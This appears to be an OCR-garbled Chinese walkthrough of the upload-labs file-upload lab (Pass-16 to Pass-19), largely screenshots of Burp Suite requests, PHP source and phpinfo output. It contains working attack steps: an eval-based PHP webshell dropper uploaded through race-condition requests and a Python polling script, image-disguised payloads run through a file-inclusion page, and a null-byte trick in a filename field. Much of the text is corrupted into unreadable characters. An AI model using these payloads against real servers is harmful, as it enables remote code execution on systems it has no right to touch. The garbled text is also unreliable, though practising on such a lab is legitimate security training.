4 Accept: text/html, application/xhtml+xml, application/mml;q=0.9, image/avif, image/webp, */4; ¢=0. 8 Sfhas
5 - . ol - —TW: a=0. 7. zh— - - - =0. 2
; izz:ngé:‘a::?i: ;:i:;N! ;};f?ag'ea' 2h=TW; 9=0. 7, zh—HK  g=0. 5, en—US{g=0. 3, en;g=0. 2 63 <form enctype="multipart/form-data” method="post”>
~ oo 84 <p>
T Content-Type: multipart/form—data; e A L
boundars 181377664720007766721582967113 . FERE LGN o0 et . .
9 Content-Length: 14840 85 <input class="input_file” type="file” name="upload file"/>
: origin: http'/,;lg“ 168, 93. 128 66 <input class="button” type="submit” name="submit” value=" [{£"/>
10 Connection: close ;v zﬁzmil;'ms .
11 Referer: http://192.168. 93.128/Pass—16/index. php - divs =
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tpload-

Pass-01

EE:

MBUEEEFERENEBRSH AR TEMN —9% 8 -
HERAXHEERARETERSPNEERE.
BRES2 s, o FEEB LERBIAREETX!

P:
P:
BEEEEENER:

A

html > body > divemain > div#upload_panel » ol > |i > diveimg >

thev .cs

| margin
border
padding

upload-labs

<« > C O 8 192.168.93.128/include.php?file=upload/4430.gif

GIF87aé 6 ¢#$8/'525336>:((BSONOGZ.

PHP Version 5.2.17 m

System Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 62011 17:26:08

Configure escript /nologo configure js *--enable-snapshot-build® *--enable-debug-pack’ *--
Command with-snapshot-template=d:\php-sdk\snap_5_2\ late" *—-with-php-

build=d:\php-sdkisnap_5_2\vc6\x86\php_build" "--with-pdo-oci=Diphp-
sdk\oracle\instantclient]0\sdk shared" *--with-ociB=D:\php-sdK\oracle
\instantclient10\sdk shared” *--without-pi3web"

Server APl Apache 2.0 Handler

Virtual Directory | enabled

Support

Configuration File | C\Windows

(php.ini) Path

Loaded EA\phpstudy\PHPTutoria\WWWhupload-labs-env\PHP\php.ini

Configuration File
Scan this dir for  |(nons)

additional .ini

files

additional .ini (none)
files parsed

PHP API 20041225

PHP Extension 20060613
Zend Extension 220060519
Debug Build no

BIIRISE T —IRIE S

Titk: MAZRERERBEHRABSEBEERT

Pass-17

Efe—A BR D RIEKAT UR A ERAET#YT, HREXUPFEEFIEXL



Dol oad-laAS

load/2428228419

html > body > div#main > div#upload panel > ol > Ii > div#img >

thov s +

« =3 C O & 192.168.93.128/include.php?file=upload/2420220419230230.png

©PNG IHDR
-
PHP Version 5.2.17 W
System Windows NT DESKTOP-42010UK 6.2 build 9200
Build Date Jan 6 2011 17:26:08
Configure cscript /nologo configure.js *--enable-snapshot-build” “--enable-debug-pack” *--
. il e T L i

P P P
build=d:\php-sdk\snap_5_2\vc6\x86\php_build" *—-with-pdo-oci=DAphp-
sdk\oracle\instantclient10\sdk shared” *--with-oci8=D:\php-sdk\oracle
\instantclient10\sdk,shared" *--without-pi3web"

Server APl Apache 2.0 Handler

Virtual Directory | enabled

Support

Configuration File | C:\Windows.

(php.ini) Path

Loaded E:\phpstudy\PHP Tutoria\WW\Wu pload-labs-enviPHP\php.ini

Configuration File

Scan this dir for | (none)
additional .ini

Ef—AphpSX IR RS K BSCHEEEET , XN AS R

10 Connection: close Ef—A<code>
11 Referer: http://192.168. 93. 128/Pass-17/index. php Vw\abshall
de>

12 Upgrade-Insecure—-Requests: 1 <feo
- _ _ JEE N
14 26407653433881642303175199624

15 Content-Disposition: form—data; name="upload_file”; filename="phpinfo—1.php”
16 Content-Type: application/octet-stream

18 <7?php phpinfo();?> - [
9 26407653433881642303175199624 .
Content-Disposition: ferm—data; name="submit”

Cte FE LB @
<input class="input_file” type="file” name="upload_file”/>
<input class="button” type="submit” name="submit” value=" L{£"/>
</form>
div 1d=
o HatiF bik Jpel. png|. gl SRR
g
<div id="1img" >
<fdiv>y
<flix
<fol>

26407653433881642303175199624——




WREAXHEERERRESRLET, HEMZERHMMITEETSRYE, FUEERD

null;

if(isset( ['submit']){
array('jpg','png','gif');
['upload_file'l['name'];
['upload_file'|['tmp_name'];
substr( ,strrpos( MY H); 1 B EAEAE G R (T B 15 )
UPLOAD_PATH . '/! ;

1)if(move_uploaded _file(

2) if(in_array( : W/ LA HAT AN T 4 HTH B

UPLOAD_PATH . '/". rand(10, 99).date("YmdHis")."."
rename( : );
true;
telse{
"R i B4 jog|.png|.gif R BI ST
unlink( ) / BT
}
telse{
A

3 L 1) M 2) WAE, SR EANXHEBHE T HNMLEZFEEANERNENREFMRAZEMEENE S, 28 E—RARE
RATHET, Ui B ™ DA IS i Ty, G R i A& A5 19 B Fr, om0 BEXE BOSC A IEAE A U7 10 AN RE M B, SCAF it T AT Y
HRE T .



1] =i =m upload = m}
M #E &8 | ERIR
&«

v « phpstudy > PHPTutorial > WWW > upload-labs-env 3 WWW > upload v | B O £ upload HEE

A~
s BUERE Moz, =
W =" L
¥ T= -
5 == ]
= B8R E
vulnpack 090
oy :
B mm
bEx
& OneDrive

s

§ EDpor )

B =

= B

& =i

¥ T

a5

W ="

e AMBREEE (C)
= xp (E)

- xp (E)

AT webshell AT DAESFEIRIEIER, BXBEMphpEEIAER—ATEARD, RHEMRE—RVFBINT, REER—DARDIM, HEBZ
27T

php
fputs(fopen('shell.php’, 'W),'<?php @eval($_POST["cmd"]) ?>')

BEfE b A% —Aphp XA BEATINE, KM EEIHEE K iZIntrude rig b b



(@ Choose an attack type

Attack type: | BEE-EMpayload(Sniper)

(® PpayloadtiiB(Payload Positions)
Configure the positions where payloads wil be inserted, they can be added into the target as well as the base request

Target: | httpy//192.168.58.21:8080

1 POST /Pass-17/index.php HTTP/1.1
2 Host: 192.168. 58. 21:8080
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64;

x64; rv:100.0) Gecko/20100101 Firefox/100.0

4 Accept: text/html, application/xhtml+ml, application/xml;q=0. 9, image/avif, image/webp, +/+; a=0. 8
0.2

5 Accept-Language: zh—CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; g=0. 3, en;
6 Accept—Encoding: gzip, deflate

7 Content-Type: multipart/form—data;
8 Content-Length: 446

9 Origin: http://192.168. 58. 21:8080
10 Connection: close

boundary

11 Referer: http://192.168.58. 21:8080/Pass-17/index. php
12 Upgrade—Insecure-Requests: 1
13 DNT: 1

—260484739425441509974020998335
16 Content-Dispesition: form—data; name="uplead file”; filename="wfile_post_emd. php”
17 Content-Type: application/octet-stream

5 <7php
o fputs (fopen( webshell. php’, "w),’ <?php @eval (§_POST["emd™])2>")
L ?

I 260454739425 44150997 4020998335

3 Content- Disposition: form-data; name="submit’

,4

26— 260484739425441509974020995335—

2604847394254415099T74020998335

Update Host header to match target

wE R ALRMN, KERBES AL L, X R D—H Efeshell st WAEAR TR,

() Payload&(Payload set)

ERETEVAREER, &1

d type), d typel.

ylosd count): A1

ERALEN AR sets)e = T
i yload setl: 1 > I
PayloadzE®(Paylodd type): | Null payloads v F?@Q(Requesl count): 0
() Payload %Hﬁ[Nullpayloads]
BERE— 3 dima, EILAER] FESEE.
AE(Generate) ERENEE

O FEREE(Continue indefinitely)

@ Payloadif# (Payload Processing)

oo > BT
B || BREnabl.. M Rule)
RE
Ll »
213
213

@ Payload#=i3 (Payload Encoding)
ATELMEEHTIPER, S8payload SEXIEERTHTURLES, NRFEE, TUBEE.

URLBESZEEF(URL-encode these characters): | A==>2+8%:" |~ #

B s A B fshellsof, #EATINE, WETRHVIE, HF—

@ Choose an attack type

Attack type: | JHEF-Bpayload(Sniper)

() npayloadiiiE(Payload Positions)

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request

Target: | hitp://192.168.56.21:8080
GET /upload/wfile post_cmd php HITP/1.1

Host: 192.168.58. 21:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wind;
4 Accept:
Accept-Language: zh=CN, zh; q=0. 8, zh-TW; g=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2
Accept-Encoding: gzip, deflate

Comnection: close

Referer: http://192. 168. 58, 21:8080/upload/wfile_post_cmd. php

9 Upgrade-Insecure-Requests: 1

10 DNT: 1

11

w s

@ -1

x64; rv:100.0) Gecko/20100101 Firefox/100.0
text/html, application/xhtml+xml, application/sml;q=0. 9, image/avif, image/webp, +/+;q=0. &

ﬂﬁlﬂi(snn attack)

ElllpayloadE §(Add §)
‘Blpayload (T §(Clear 5)
EaENpayload(S S(Auto §)
Bl (Refresh)

FHAT(Start attack)

Wi A GRS TE B4 B T AR —4> webshell.php 304

Update Host header to match target

Mﬂi(scan attack)

EfpayloadIE §(Add §)
EPpayload(iE §(Clear §)
EFEipayloadfr® S(Auto §)

Flf(Refresh)



@ Payload£(Payload set) FHEBE (Start attack)

EALEN— N HE 2 d sets). % load g TERETENRERD. 51 z d sets)AlL load type), 7 TEE load type).

yloadsE(Payload set: | 1 v I yload count): A1

PayloadBPayload type):| | Null payloads V|| EREERequestcount: 0

(® PayloadsHiNull payloads]

R 3 . AL FESHE.

Ai(Generate) 37 pve=7d
© ERES(Continue indefinitely)

() Payloaditi(Payload Processing)

IERILAE N BRI i TR

Em BF(Enabl.. FAM(Rule)

(@ Payloads(Payload Encoding)
ATEEHEENTIRER, BAMIpayload SETIEEASESURLEE, NEFEE, TUERSY.

URLFSEEEF I (URL-2ncode these characters): | N\=< s+ (%

P Payload #&BIF T2 )5, BMAIHFBERET .

A XEARFERM ARE—E SR AW, BT —AREMAAERRN T, BrA T HSAE 7B — NIRRT F AR KRR,
(Ja R EBLRF Awindows F ZE i) % &L B 1 B, phpS i — 33T 1, S BURED H 3R A BB 3 3108 ik B )

O B8 192.168.93.128/Pass-17/index.php

BIEEELEEOER:

Pl .




QO & 192.168.58.21:8080/Pass-17/index.php

EERELEMEAR:

SRR,

Burp j il shell S04 K i o 2 s, Bk ResIRR Fpython#i—F 77,

Payload&(Payload set)

REERMURT T, B4

FHATGE(Start attack)

EELIE Y — R ER i payload sets). ERhEispayload sets)IIHERRT (IS (Positions) Fl-EHE Y XINESER, S 500 Epayload sets)ILUERSMERNEER (payload type). FTHATLALIE

hnEsETERnEEEE (payload type).

Payload®(Payload set): 1

PayloadZ28 Payload type): | Null payloads

PayloadiZIR[Null payloads]

TR payload ENTATHE. TRApayloadt py 1o

SRE(Generate) HREWEE

O FIR=E(Continue indefinitely) Warmngs

Payload#&(Payload count): Al
EREE(Request count): 0

+ The basic request does not contain a blank line, and so is not a valid HTTP request.

Payload#2(Payload Processing)
ERILE Y ERER R E T S M E R (payload]

il EFf(Enabl... #
"
el
ALt
Ar

BRE

EE

@ Payload/=fd(Payload Encoding)

ATESMEZHTTIMER, S22 payload FSIMEEATETURLER, NRFAEE, ALIEES4E.



Used: 77% CPUHT 0§ 1% i nsaablosedi ?
= 7

TE HF 5 3. Intruder attack of http://102.168.58.21:8080 - Temporary attack - Not saved to project file - o X
WE  AMEE  EEBResourcePoo)  EW(Options)

‘i (Filter): EFTE I H (Showing all items) | @

EE HE(Status) FER(Err..  #BE KE(Length) ERE(Comment)
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733
null 200 3733

200

Ui il —F webshell.php 304, BiE—S2 B AEMBIIERT .

O & 192.168.58.21:8080/upload/webshell.php

e, OFFte Dkilse Doy Oxsss O#BerIa D22l OFerE D=2rs DEsSla # SEmE-200Es. [CTF Scan Tools

WHEH, WHAXHEFE, AREARELED, UERRRERZAN, MAEMFSshelfeSiAT.



: : o LA SH

« > C QO & 192.168. 8080/upload/webshell.php 5]

NEErE Dkilss | Doy Ooste DaBscle DeEcie OfFEaE D==rs DEHERIE & SEEE200 I CTFScan Tools

PHP Version 5.5.38

System Linux 25be7a005050 2.10.0-862.2.3.l7.586_64 #1 SMP Wed May 9 18:05:47 UTC
2018 x86_64

Build Date Aug 10 2016 21:02:47

g E ith-config-file-p. Jetc/php’ --with-config-file-scan-

di d' *--disable-cgi' '--enable-ftp’ '--enable-mbstring’
*-—enable-mysqlnd" '--with-curl’ "--with-libedit' '--with-openssl" "--with-zlib" -
with-apxs2"

Server API Apache 2.0 Handler

Virtual Directory | disabled

Support

ion File ohp

(php.ini) Path

Loaded Jusr/localfete/php/php.ini

Configuration File

Scan this dir for Jusr/localfetc/php/conf.d

| I £ d/docker-oh i Nocal h d
php Lini, P
usrflocal/etc/php/confd/php.ini

Encryption ~ Encoding ~ sSaL - LFl ~ A Other ~

& Load URL hitp://192 168 58 21-8080/uploadiwebshell php

& split URL
—— 4
| ® Execute

Post data [J Referer [] User Agent [ Cookies Add Header Clear All

H DNT1
cmd=phpinfo()

H | Upgrade-Insecure-Requests: 1

H | Connection: keep-alive
A

FIhi 15 webshell.php XHE 4L S5 H .

Tk RS

Pass-18

Efe—AshelstfHNE, BEIEBERETINK, BRI T —TRFMBIEZE, REpng/FMHIN T EH, W HERRRA OV LIE,
IEH A% —A>png 5 &K ST B BCA 1H R .



gk (Request)
Prett [FE(Raw) 1658 (Hex)

1 POST /Pass-18/index. php HTTP/1.1

2 Host: 192.168.58. 21:8080
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/xhtml+mml, application/mml;q=0. 9, image/avif, image/wehp, */*; g=0. 8
5 Accept-Language: zh—CH, zh;¢=0. 8, zh-TW; ¢=0. 7, zh-HK; ¢=0. 5, en-US; ¢=0. 3, en; q=0. 2
6 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data;

boundary
ontent-Length: 450
Origin: http://192. 168. 93.128
0 Connection: close
11 Referer: http://192.168. 93. 128/Pass-18/index. php
12 Uperade-Insecure-Requests: 1
13 DNT: 1

Cookies

"

323916727922543054601117044125

15 323916727922543054601117044125
16 Content-Disposition: form—data; name="upload_file”; filena.\ne='+flle_post_aud. php. png
7 Content-Type: application/octet-stream

2php

fputs(fopen(’ webshell.php’, "w),’ <?php @eval (3_POST["emd"1)7>");

323916
Content-Disposition: form—data; name="submit

1%

323916727922543054601117044125—

EEAMTHEEKGREIX, BAE, XREA LI,

&k (Request)
Pret [#(Raw)  163I(Hex)  Cookies
1 POST /Pass—18/index. php HTTP/1.1

2 Host: 192.168. 58, 21:8080
User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; =64, rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, application/xhtml+xml, application/mml;q=0. 9, image/avif, image/webp, */*; q=0. &
5 Accept-Language: zh—CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK ; q=0. 5, en-US; ¢=0. 3, en; ¢=0. 2
G Accept-Encoding: ezip, deflate
7 Content-Type: multipart/form—data;

boundary
§ Content-Length: 449
9 Origin: http://192.168.93.128

e

323916727922543054601117044125

Content-Type: application/octet—stream

?php
fputs (fopen (' webshell. php', 'w'),’

10 Comnection: close

11 Referer: http://192.168. 93. 128/Pass-18/index. php

12 Upgrade-Insecure-Requests: 1

13 DNT: 1

14

15 32391672792254305460111704412

166 Tz ieni— ="uplead_file”; filenahe="wfile post_cmd. php. png”
1

18

1

2php @eval($_POST[“emd”]) 25" )

323916727922543054601117044125
Content-Disposition: form—data; name="submit”

323916727922543054601117044125—

MEFRFEENRTIE

['submit']))

require_once("./myupload.php"); 7/ &
time(); // ZRE 2 Byt ]
/ CIE— IR, RIS
['upload_file']['name’],
upload(UPLOAD_PATH);

Wb XA
new MyUpload(

WARE MIME F1 303k R R R0 S )5 4%

AR AR BT 7 2
['upload_file']['tmp_name'],

IR (Respons)

E{k(Pretty) ERE(Headers)

BRIAE Render)

[FfE(Raw) 1638 (Hex)

<1i>
48 <ful>
<fdivy

<div id="upload_panel”>
<ol>
<1i>
<h3>
E%
</h3>
55 <p>
Efs—A~<code>
webzhell
<[code>
IR 5AE.
<fp>
<fli>
<1i>
<h3>
[
</h3>
<form encty]
<p>

e="file" name="upload_file"/>

<input
“ name="submit” value=" F{4"/>

<input
</form>
AT o=
Hor:
div
<div id="img">
<fdiv>
PUARE

i, ik B

ZZHAS R,

pust

TRIF
= Z={k(Pretty)

(Respons)
[Ei&i(Raw) 16:851(Hex) IHREPIE (Render) ERL(Headers)
ol>
<liz
54 <h3>
1%
</h3>
55 <p>
Ef&—4<code>
webshell
</code>
FIRSR.
<fp>
56 <flir
<lix
58 <h3>
L%
</h3>
<form enctype="multipart/form-data” method="post”>
<
i LB EEMER: >
61 Zinput class="input_file” type="file” name="upload_file"/>
submit” name="submit” value="

<input class="button” typ
</form>
<div id="msg">
<fdiv>
<div id="img[>
. /upload1650449143. png’

width="250px" />

<img sre=

<fdiv>
<flix
<fol>
<fdiv>

72 <fdive
<div id="footer”>
4 Ccenter>
Copyrighténbsp; @nbsp; <span id="copyright_time” >
B

A 1]
['upload_file']['size'],




)4

true;
cls_upload_dir cls_file_rename_to;
break;
case 2:
e b, ERAFEMRAL.
break;
case -1:
AN ST e AR B R 55 A8 BRI B SO R E e
break;
case -2:
'EERW, EEERATE.
break;
case -3:
'EAERM, TovE AR SO,
break;
case -4:
'EAERM, BRSO R,
break;
case -5:
'ERERI, REBRCEFEMALRC.
break;
case -6:
ST EAE, SCHEABEE R H AR H .
break;
default:
RAEEIR!

break;

/myupload.php
class MyUpload{ // X & X T ] LI_EAEH9 X AF

var array(

" doc”, ".Xis", "txt", ".pdf", ".gif", ".jpg", ".Zip", ".rar", ".72" ".ppt",

".htm!", ".xml", ".tiff", ".jpeg", ".png" );

/** upload()

*k

** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
%
function upload( )

isUploadedFile();

if( Lt

return resultUpload(

}




if( it

return resultUpload(

}

checkExtension(); / # & /4%
if( 1)

return resultUpload(

}

checkSize(); / # & XA
iff( 11
return resultUpload(

}

// if flag to check if the file exists is set to 1

if( cls_file_exists == 1 ){

checkFileExists(); / # 2 X 12 B 77
iff( 1)1
return resultUpload(

}
}

// if we are here, we are ready to move the file to destination

move(); / B s) X1
if( 1)
return resultUpload(

}

// check if we need to rename the file

if( cls_rename_file == 1 ){
renameFile(); / E a4 X 1
if( 1)
return resultUpload(

}
}

// if we are here, everything worked as planned :)

return resultUpload( "SUCCESS" );

E3 EHRIEREE SET, BARRFAR, BRENZNAL T HEMEXBRBKERTXBERE EESHNMEHTE ), L
GRAMXHHNERRBRE, XHRBFEARBI XA EHEMSL, FIUXBEWNAREE 242 F , ARLERIINET, R
Bl AR, FYOERRVT RSO, A I RER B4 . (R T ASPATRIBIE? B RiX B ] fE 2 F fEapache ST i B 3 T (M
B AR IKIANT), FrUAFENTIRIRAEC &6 . M L —E—F, TR LAERERE SRRV A LK, —BERRIhiin e
HE R — A shell 3244




I B )IUGE U _E AN B 4 5 1 py A0S

H R HHE— KL HIITR, WA A IRIGH M, 121582 J5 AT IRTEH, 8% 7 H I 15 4 (1 2 — /& FEZ_Lpy < H 518 i)
# !/usr/bin/env python3
# -* coding:'UTF-8' -*

# @Filename: upload-labs.py

# @Version: vO.1

# @Author: OneOay

# @Email: oneOay@163.com

# @Time: 2022-04-20 23:02:29

# @Note: upload-labs Pass-17~18

import requests

payload = 'http://192.168.93.128/upload/wfile_post_cmd.php.7Z // X B 5 il 314 ik

#n=1
":return while 7 FRFEFF 100X True N n < 100, HERNIES HHE"
while True:
request = requests.get(payload)
status = request.status_code
if status == 200:
print('webshell.php B4, V5 ERZASHS: ', status) // A Ekshellf5 2 H 3118 H AR
break
else:
# n+=1
print("JEFEVj 5] H
continue
print('END")




# php_shell 165
php

fouts(fopen('webshell.php', 'w),'<?php @eval($_POST["cmd"])?>");

BTG T 2 LR, ARSI R, i [E] W3R, ERXADET El. XBH A REE— /D Bugth i e R R, XFEE E%
FTMWEFT, LAY upload T/EA VG RAERHE M.

B IR, IIAS /BT LokbugiE =

[ index e H nyupload. phpEd

function checkExtension() [
// Check if the estension is valid

tol

Bl if{ lin_arra
return T
} else |
return 1;
1
1

rchr( $this->cls_filemame, "." )), $this->cla_arr_cxt_accepted )) [

[** checkSize ()

** Method to check if the file is not to big.
** @returns string

function checkSize () [

if{ §this
return
} else |

s-rcls_max filesize )|

return 1;

hp 2.0.3 fot move_uploaded file()

function move () [ '—|

if{ move uploaded File( §this->cls_tmp_filename, scms—mls,upluad,d)lr | |:cnls—>cls,f;1enam ) — false ){
roturn "MOVE_UPLOAED

} else |
return 1;

r 1

ol

[** checkFileExists ()

o
** Gr

file with the sape name exists in

PHP Hypertext Preprocessor file length : 9,884 lines : 315 Ln:145 Col:78 Pos: 4,657 Windows (CRLF) UTF-8 IN

PRAESRPR T AE AR iwebshell BEARBER T .


https://blog.csdn.net/qq_43665434/article/details/115131927?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%257Edefault%257EBlogCommendFromBaidu%257Edefault-1.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%257Edefault%257EBlogCommendFromBaidu%257Edefault-1.pc_relevant_default&utm_relevant_index=2

« = C QO & 192.168.93.128/upload/webshell.php

B SAHE. NFEFLE DkiTEe Oors Dxem D/ABESTE DEfls DFEmE Do DEEsETE § SEiz- 20005 3 CTF _Scan _Tools

PHP Version 5.2.17 m

System Windows NT DESKTOP-42010UK 6.2 build 9200

Build Date Jan 6 2011 17:26:08

Configure cscript /nologo configure js "—enable-snapshot-build™ "—enable-debug-pack™ "—with-
Command snapshot-template=di\php-sdkisnap_5_2wcExB6\template” —with-php-build=d\php-

sdkisnap_b_2wcEwB6\php_build™ "—with-pdo-oci=D:\php-sdkioraclelinstantclient10
\sdk shared” "—with-oci8=D:\php-sdkloraclelinstantclient10\s dk shared™ "—without-

pidweb”
Server API Apache 2.0 Handler
Virtual Directory | enabled

Support

Configuration File | C:Windows
(php.ini) Path
Loaded Efphpstudy\PHPTutorialWiWwiupload-labs-emAPHP\php.ini
Configuration File

Scan this dir for (none)
additional .ini files

additional .imi files | (nong)
parsed
PHP API 20041225

PHP Extension 20060613

Encryption ~ Encoding ~ SQL~ XSS~ LFl~ XXE~ Other~

&% Load URL nitp://192.168.93.128/upload/webshell. php

X split URL
e —— Vi
| @Execute |

Post data [ Referer [J User Agent [ Cookies Add Header Clear All

H  Upgrade-Insecure-Requests
cmd=phpinfo()

H Connection keep-alive

FHik: apachef@triEFE A %GRS

Pass-19

Ef&T —AphpXXAHIR T —TF, KIAXBELFHE T THALKHS, XML FHEENL, HREFBRBIAFEER, TN
R7#.



ik(Cancel) |[ < |7
i&*K(Request)
=irpretty)  B8Raw)  168Sl(Hex)  Cookies 5 n =

1 POST /Pass-19/index. php HTTP/1.1
2 Host: 192.168.93.128
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x84; rv:100.0) Gecko/20100101 Firefox/100.0

w

4 Accept:
text/html, application/zhtml+xnl, application/xml; g=0. 9, image/avif, image/webp, +/+; g=0. 8
5 Accept-Language: zh—CHN, zh;¢=0. 8, zh-TW; g=0. 7, zh—HK ; ¢=0. 5, en—US; ¢=0. 3, en; ¢=0. 2
6 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data;
boundary 373770433611405343412986998997
2 Content-Length: 512
9 Origin: http://192.168. 93.128
10 Commection: close
11 Referer: http://192. 168. 93. 128/Pass—19/index. php
12 Upgrade-Insecure-Requests: 1
13
14 37377043361140534341298699899T
15 Content-Disposition: form—data; name="upload_file”; filen
16 Content-Type: application/octet-stream
17
18 <fphp phpinfo(; 7>
19
20
21 373770433611405343412986998997

22 Content-Disposition: form—data; name="save_name”

2 uploac-19) e | IXEFERAILABTE AT
2! 373770433611405343412986998997
26 Content-Disposition: form—data; name="submit”

28 kff

373770433611405343412986998997—

TR RIS BT IES, FUA 008 T KB Sed IX AR, A RAF SR8 T I E,

IR (Respons) lIl =
=gPretty)  E(Raw)  16ESl(Hex)  WAME(Render)  iEXik(Headers) = U
<ol>
<11
<h3>
E5
</h3>
55 <p»
Eff—A4<code>
webshell
<fcode>
FIMRS% 2R,
<fp>
56 <Jli
57 <11
58 <h3>
AR
</h3>
59 <form enctype="multipart/form-data” method="post”>
60 <pr
IFRRE LR E: <>
61 <input class="input_file” type="file” name="upload_file"/>
62 p>
RIF B o>
63 <input class="input_text” type="text” name="save_name” value="
upload-19. jpeg” />
<br/>
64 <input class="button” type="submit” name="submit” value="_[L{L"/>
63 </form>
86 <div id="msg">
67 <fdiv>
68 <div id="ipe"
69 <img srcl:'. /upload/upload-19. jpg” |width="250px" />
<fdivy
70 </1i>
71 </ol>
72 <fdiv>

BRRWTE, RARAF0X00HTH HIE 4.

i(Cancel) || < |v Bz http://192.168.93.128
L] T =
BRRequest) RI(Respons) Inspector wl =
EhPrety)  BARaw)  16#BlHe)  Cookies = EPrety)  F#ARew)  168H(Hed  WEASRenden)  HRk(Headers) = Selection
1 POST /Pass-19/index. php HITP/1.1 Col>
2 Host: 192.168.93.128 53 i> Selected character
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:100.0) Gecko/20100101 Firefox/100.0 | 5% <h3> ;
4 Accept: L%
text/html, application/xhtml+mml, application/mml; 9, image/avif, image/webp, #/+;q=0. 8 </h3>
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK  a=0. 5, en-US; g=0. 3, en; q=0. 2 55 P> -
6 Accept-Encoding: gzip, deflate Lfe—1<code> Code  16¥HlHer) v
mul tipart/form-data; wehshell
i 37377043361140534341 2966998997 </code>
& Content-Length: 512 FUNR % %
GE(C: )
9 Origin: http://192.168.93.128 B <> Bli(Cancel)
10 Connection: close 36 <f1i>
11 Referer: http://192.168. 93. 128/Pass—19/index. php 57 <dix Reguest Attributes
12 Upgrade-Insecure-Requests: 1 58 <h3>
13 Request Query Parameters.
14 T3770433611405343412986998997 B .
15 sposition: form-data; name="upload_file”; filename="phpinfo. php” 59 ‘mul tipart/form-data” method="post” > PRy R
16 Content—Type: application/octet-stream 6( <p>
T WERE EEMEN: <p> 0
8 <7php phpinfo); 7> 61 <input class="input_file” type="file” name="upload_file"/> RequeslSska
19 62 <p>
RIFAFR:<p> FERL(Request Headers)
73770433611405343412986998997 83 <input class="input_text” type="text” name="save_name” value="
27 Content-Disposition: form-data; name="save_name” upload-19. jpg” /> Response Headers
<br/>
uploac-19. pwl pg | N Cinput class="button” type="submit” name="submit’ value=" [{t"/>
2 —————==373770433611405343412986998997 85 </form>
26 Content-Disposition: form-data; name="submit” 86 <div id="msg">
27 67 <fdivy
68 <div id="img">
373770433611405343412986998997— 69 <img sre=".. /upload/upload-18. jpe” width="250px" />
<fdiv>
0 <f1i>

Tt <fol>

1

2

[

HTeA (3)
& X

~

Apply changes

v



=
e ohpid = myupload php

E kg &« v « phpstudy » PHPTutorial » WWW > upload-labs-env > WWW > upload v O £ 1E upload &R
] function checkEx

X HE BB BRTE - @

A
/f Check if th AR,
= if( !in_array( bl
return "EXTE -
] else [
return 1; bl
e 3 »
E
Bl /** checkSize({)
o
*¥%* Method to ch
** @returns stE
Loy
] function checkSi ¢ OneDrive
= if{ $this->cls O R
return "FILE
| else [ N ko]
return 1; B wum
E 3
. = B
B 7** move() .
e + =
k% Method to wr J’! =5
** @returns stE
Ly msm
[l function move(}{ e RS ()
if { move uploa = xp &)
return "
o = (E)
S g 3y N
AREPFEOZFHEE—T.
17 | =
(Cancel) || < ¥ Biff: httpy//192168.93.128 /7
[ ] T =
isH(Request) K7 (Respons) o Inspector wD =
=iPrety)  BBRaw)  1688(Hex)  Cookies N = | miPretty)  BRRaw)  16E8|(Hex)  BEMBRender)  EX(Headers) N = tion
1 POST /Pass-19/index. php HTTP/1.1 g
2 Host: 192.168.93.128 </h3> Selected character
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 |59 <form enctype="multipart/form-data” method="post”>
4 Accept: 60 > AU
text/html, application/zhtml+xml, application/xml; q=0. 9, image/avi{, image/webp, #/#; q=0. 8 HIERE LEMEN: <>
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2 61 Cinput class="input_file” type="file” name="upload file"/> =
. ~ - o Code  16iHliHex) v
6 Accept-Encoding: gzip, deflate 62 <p>
7 Content-Type: multipart/form-data; TRIF R p>
boundary 373770433611405343412986998997 63 <input class="input_text” type="text” name="save name” value="
§ Content-Length: 517 upload-19. jpg” /> Cancel) Appl
9 Origin: http://192.168. 95,128 <br/> anee PED
10 Connection: close 64 <input class="button” type="submit” name="submit” value=" L{£"/>
11 Referer: htip://192. 168, 93.128/Pass-19/index. php 85 </form> Request Attributes
12 Upgrade-Insecure-Requests: 1 66 <div id="msz">
13 87 <fdivy Request Query Parameters
14— 3T37T043361140534341 2986998997 68 <div id="
15 Content-Disposition: form-data; name="upload file”; filename="phpinfo.php” 69 ¢img sre .. fupload/upload-19. php. jpg| width="250px" /> Request Body Parameters

16 Content-Type: application/octet-stream
17
18 <%php phpinfo(; %>

fdivy
<Jlir

<fol>
<divy #EFk(Request Headers)

Request Cookies

— 7377043361 140534341 2986998997
form-data; name="save_name”

<fdivy Response Headers
<div id="footer”>

{center>

— 37377043361140534341 2986998997 Copyrighténbsp; @nbsp; <span id="copyright_time">
Content-Disposition: form—data; name="submit” </span>
&nbsp; by&nbsp; <a href="http://gv7.me” target="_bank”>
cOnyl

T37T0433611405343412986998997—— <fa>
<[center>

Content-Disposition:

(i3




=]

3]| ¥ = upload - a P
! #= BE | ERIE e
wad. phy
&« v <« phpstudy > PHPTutorial > WWW > upload-labs-env > WWW » upload v O P TE upload RER
eckEx

”~

if th 7 ERE

rray | W =6 *
"EXTE § FE *
. pre=} +
o e - upload-12.php
upload
ze () WWW
tocn B

s str b %
